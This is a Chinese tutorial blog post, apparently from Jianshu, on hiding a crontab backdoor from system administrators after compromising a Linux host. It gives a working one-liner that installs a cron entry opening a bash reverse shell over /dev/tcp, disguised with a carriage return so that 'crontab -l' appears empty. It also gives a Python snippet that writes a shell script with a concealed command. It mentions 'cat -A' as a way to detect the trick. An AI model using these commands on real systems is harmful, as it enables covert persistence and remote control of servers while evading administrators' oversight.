linux 隐藏你的 crontab 后门 - 简书

> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码， 原文地址 [www.jianshu.com](https://www.jianshu.com/p/c3c37154fd0b)

### crontab 定时后门

crontab 是用来定期执行程序的命令，crond 命令每分钟会定期检查是否有要执行的工作，如果有要执行的工作便会自动执行该工作。

注意: 新创建的 cron 任务，不会马上执行，至少要过 2 分钟后才可以，当然你可以重启 cron 来马上执行

```
比如我们通过redis写crontab后，管理员上线 执行`crontab -l` 就会查看到我们留下的可疑命令。那么我们如果躲避管理员的查看呢？
```

![](http://upload-images.jianshu.io/upload_images/25971153-f61b78e38f46a8a7)

在这里插入图片描述

```
其实 `crontab -l` 是查看保存在这里 `/var/spool/cron/crontabs/root`文件。路径里的root对应每个用户不同的crontab
```

![](http://upload-images.jianshu.io/upload_images/25971153-bb3141862f00b7a6.png)

在这里插入图片描述

我们清除之前的 cron, 再来一次。输入

`(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for`whoami`%100c\n")|crontab -`

这时候，管理员`crontab -l` , 或者查看记录文件都看不到定时任务了

![](http://upload-images.jianshu.io/upload_images/25971153-adb81321d2a028e6)

在这里插入图片描述

定时任务还是存在的，应该怎么看到呢?

使用 `cat -A xxx` 就可以看到了。

![](http://upload-images.jianshu.io/upload_images/25971153-ea6651590e302af0)

在这里插入图片描述

**原理就是 cat 一些比如 \r 回车符 \n 换行符 \f 换页符这些符号导致了隐藏。**

这里用 python 制作一个隐藏的 sh。

```
cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # 隐藏
cmd_v = "echo 'You see me!'"                         # 显示

with open("test.sh", "w") as f:
    output = "#!/bin/sh\n"
    output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
    f.write(output)
```

然后用`cat -A`查看, `cat -A` 表示展示所有, 等同于 `-vET`

![](http://upload-images.jianshu.io/upload_images/25971153-e94780b4424ba715)

在这里插入图片描述